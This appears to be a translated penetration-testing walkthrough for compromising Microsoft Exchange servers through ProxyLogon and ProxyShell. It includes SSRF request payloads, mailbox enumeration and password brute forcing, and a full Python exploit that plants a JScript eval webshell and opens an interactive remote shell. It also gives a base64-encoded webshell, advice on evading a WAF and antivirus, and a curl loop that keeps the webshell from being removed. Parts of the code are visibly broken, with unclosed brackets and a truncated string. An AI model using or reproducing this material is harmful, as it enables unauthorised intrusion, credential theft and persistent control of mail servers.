1: Rapidly find if there is Exchange
setspn -q */*
setspn -T domain -F -Q */* | findstr exchange
2: Locate Exchange
First: Found through Spn, ping WIN-BN4UGESV2UD
Second: fscan scan results, path is /owa/auth/
3: View Exchange version
Right-click to view the source code
4: Information collection
Tool obtained: Get IP address - Version - Domain - Machine name
Burp manually obtained: Get machine name - LegacyDN
POST /ecp/target.js HTTP/2 Host: win-bn4ugesv2ud User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* Cookie: X-BEResource=localhost~1941962754 Content-Type: text/xml Content-Length: 2
1: Modify the target machine name
2: Modify the domain
POST /ecp/target.js HTTP/2 Host: win-bn4ugesv2ud User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* Cookie: X-BEResource=[name]@win-bn4ugesv2ud.hack.com:443/autodiscover/autodiscover.xml?#~1941962754 Content-Type: text/xml Content-Length: 345 <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"> <Request> <EMailAddress>administrator@hack.com</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema> </Request> </Autodiscover>
5: Determine if the email account exists (if an existing email is found, you can directly exploit the vulnerability)
Place user.txt to enumerate email accounts
go run CVE-2021-26855-PoC.go -h win-bn4ugesv2ud -U user.txt
6: Brute force email passwords
1: Compose a dictionary of brute-forced email accounts
2: Use Intruder to brute force the collected passwords
If the password is correct
7: Background information collection
1: Behind the scenes, see the contact list sending phishing malware
2: Can search the contact list for brute force (it can be used to write a report)
8: Vulnerability exploitation *1
Prerequisites: need to brute force the email and fill it into the script
As the account here is key, I have added the key user to fuzz_email
# -*- coding: utf-8 -*- import requests from urllib3.exceptions import InsecureRequestWarning import random import string import argparse import sys requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) fuzz_email = ['administrator', 'webmaste', 'support', 'sales', 'contact', 'admin', 'test', 'test2', 'test01', 'test1', 'guest', 'sysadmin', 'info', 'noreply', 'key', 'no-reply' proxies = {} user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36" shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\test11.aspx" shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path # webshell-马子内容 shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["code"],"unsafe");}</script>' final_shell = "" def id_generator(size=6, chars=string.ascii_lowercase + string.digits): return ''.join(random.choice(chars) for _ in range(size)) if __name__=="__main__": parser = argparse.ArgumentParser(), description='Example: python exp.py -u 127.0.0.1 -user administrator -suffix @ex.com\nIf you are not sure about the username, you can omit the -user parameter, and the username will be automatically Fuzzed.') parser.add_argument('-u', type=str, help='target') parser.add_argument('-user', help='exist email', default='') parser.add_argument('-suffix', help='email suffix') args = parser.parse_args() target = args.u suffix = args.suffix if suffix == "": print("Please enter suffix") exist_email = args.user if exist_email: fuzz_email.insert(0, exist_email) random_name = id_generator(4) + ".js" print("目标 Exchange Server: " + target) for i in fuzz_email: new_email = i+suffix autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"> <Request> <EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema> </Request> </Autodiscover> """ % new_email # print("get FQDN") FQDN = "EXCHANGE01" ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522", "User-Agent": user_agent}, verify=False, proxies=proxies) if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers: FQDN = ct.headers["X-FEServer"] print("got FQDN:" + FQDN) ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN, "Content-Type": "text/xml", "User-Agent": user_agent}, data=autoDiscoverBody, proxies=proxies, verify=False ) if ct.status_code != 200: print(ct.status_code) print("Autodiscover Error!") if "<LegacyDN>" not in str(ct.content): print("Can not get LegacyDN!") try: legacyDn = str(ct.content).split("<LegacyDN>")[ 1].split(r"</LegacyDN>")[0] print("Got DN: " + legacyDn) mapi_body = legacyDn + \ "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00" ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Administrator@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN, "Content-Type": "application/mapi-http", "X-Requesttype": "Connect", "X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}", "X-Clientapplication": "Outlook/15.0.4815.1002", "X-Requestid": "{E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456", "User-Agent": user_agent }, data=mapi_body, verify=False, proxies=proxies ) if ct.status_code != 200 or "act as owner of a UserMailbox" not in str(ct.content): print("Mapi Error!") exit() sid = str(ct.content).split("with SID ")[ 1].split(" and MasterAccountSid")[0] print("Got SID: " + sid) sid = sid.replace(sid.split("-")[-1], "500") proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>""" """ % sid ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Administrator@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN, "Content-Type": "text/xml", "msExchLogonMailbox": "S-1-5-20", "User-Agent": user_agent }, data=proxyLogon_request, proxies=proxies, verify=False ) if ct.status_code != 241 or not "set-cookie" in ct.headers: exit() sess_id = ct.headers['set-cookie'].split( "ASP.NET_SessionId=")[1].split(";")[0] msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[ 1].split(";")[0] print("Got session id: " + sess_id) print("Got canary: " + msExchEcpCanary) ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ # "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % ( # FQDN, msExchEcpCanary, sess_id, msExchEcpCanary) "Cookie": "X-BEResource=Admin@{server_name}:444/ecp/DDI/DDIService.svc/GetList?reqId=1615583487987&schema=VirtualDirectory&msExchEcpCanary={msExchEcpCanary}&a=~1942062522; ASP.NET_SessionId={sess_id}; msExchEcpCanary={msExchEcpCanary1}". format(server_name=FQDN, msExchEcpCanary1=msExchEcpCanary, sess_id=sess_id, msExchEcpCanary=msExchEcpCanary), "Content-Type": "application/json; charset=utf-8", "msExchLogonMailbox": "S-1-5-20", "User-Agent": user_agent }, json={"filter": { "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "SelectedView": "", "SelectedVDirType": "OAB"}}, "sort": {}}, verify=False, proxies=proxies ) if ct.status_code != 200: print("GetOAB Error!") exit() oabId = str(ct.content).split('"RawIdentity":"')[1].split('"')[0] print("Got OAB id: " + oabId) oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId}, "properties": { "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "ExternalUrl": "http://ffff/#%s" % shell_content}}} ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (}} FQDN, msExchEcpCanary, sess_id, msExchEcpCanary), "msExchLogonMailbox": "S-1-5-20", "Content-Type": "application/json; charset=utf-8", "User-Agent": user_agent }, json=oab_json, proxies=proxies, verify=False ) if ct.status_code != 200: print("Set external url Error!") exit() reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId}, "properties": { "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "FilePathName": shell_absolute_path}}} ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % ( FQDN, msExchEcpCanary, sess_id, msExchEcpCanary), "msExchLogonMailbox": "S-1-5-20", "Content-Type": "application/json; charset=utf-8", "User-Agent": user_agent }, json=reset_oab_body, proxies=proxies, verify=False ) if ct.status_code != 200: print("写入shell失败") exit() shell_url = "https://"+target+"/owa/auth/test11.aspx" print("成功写入shell:" + shell_url) print("下面验证shell是否ok") print('code=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll());') print("正在请求shell") import time time.sleep(1) data = requests.post(shell_url, data={ "code": "Response.Write(new ActiveXObject(\"WScript.Shell\").exec(\"whoami\").StdOut.ReadAll());"}, verify=False, proxies=proxies) if data.status_code != 200: print("写入shell失败") print("shell:"+data.text.split("OAB (Default Web Site)") [0].replace("Name : ", "")) print('[+]用户名: '+ new_email) final_shell = shell_url break except: print('[-]用户名: '+new_email) print("=============================") if not final_shell: sys.exit() print("下面启用交互式shell") while True: input_cmd = input("[#] command: ") data={"code": "\"Response.Write(new ActiveXObject(\"WScript.Shell\ ct = requests.post( final_shell, data=data,verify=False, proxies=proxies) if ct.status_code != 200 or "OAB (Default Web Site)" not in ct.text: print("[*] Failed to execute shell command") shell_response = ct.text.split( "Name :")[0] print(shell_response)
python exp.py -u 192.168.181.239 -user administrator -suffix @hack.com
Webshell Password: code, ignore HTTPS certificate
9: Vulnerability exploitation *2
1: The second script can be tried multiple times. Sometimes, if it doesn't work once, try twice.
2: The second script exploits the users.txt in the current directory. It can directly place a large number of users, or place valid users obtained from step five. This achieves the effect of brute-forcing email accounts and exploiting vulnerabilities.
Exploit script
Email account
python exp2.py win-bn4ugesv2ud
10: Vulnerability exploitation *3 (uses encrypted webshell)
python proxyshell_rce.py -u https://192.168.181.239 -e administrator@hack.com
After running the program, enter in order:
Get-MailboxExportRequest
Get-MailboxExportRequest|Remove-MailboxExportRequest -Confirm:$false
dropshell
Issues:
In practice, many Exchange environments are system privileges, but commands still cannot be executed, and access denied errors may occur. Generally, this situation occurs due to command restrictions or antivirus software.
The default malware included in this POC is easily detectable. In actual combat, it is recommended to customize the malware content. Here, I have modified it and executed it to obtain a shell.
11: Bypass the waf and write a generating malware aspx
1. First, we need to generate an encrypted webshell
Webshell encryption script:
https://github.com/Ridter/proxyshell_payload
Modify in proxyshell_payload.py
Modify the end of the picture, replace it with the webshell
Then run to get the payload (encoded part):
2. Use the script to attack
Exploit usage:
https://github.com/dmaasland/proxyshell-poc
Then install dependencies, copy the payload obtained in the previous step to line 314 of proxyshell_rce.py:
python proxyshell_rce.py -u https://192.168.181.239 -e administrator@hack.com
The following content is used to generate a 123.aspx. As long as we upload and access it once, a webshell will be generated in the current directory. The condition is that we need to upload it through the above exploit script or encrypt the following content again through the webshell encryption script and then upload it again, and then access it via web.
Explanation:
The content is to generate a file in the root directory of the aspx file, which is 123.aspx
PHNjcmlwdCBsYW5ndWFnZT0nSlNjcmlwdCcgcnVuYXQ9J3NlcnZlcicgUGFnZSBhc3Bjb21wYXQ9dHJ1ZT5mdW5jdGlvbiBQYWdlX0xvYWQoKXtldmFsKFJlcXVlc3RbJ3RhbmdhbnQnXSwndW5zYWZlJyk7fTwvc2NyaXB0PgoK
Use base64 to decrypt and write to 123.aspx
Finally, re-upload and access the uploaded file, and if it prompts 'success', it means that the writing has succeeded
In case of being killed, write a sh script to hang on the server and keep accessing that link, because we are accessing it means that this file is being used, causing the waf to be unable to delete our malware
#!/bin/bash
while true
do
curl -ki https://xxxx.xxx//aspnet_client/ixxxot.aspx
done

评论已关闭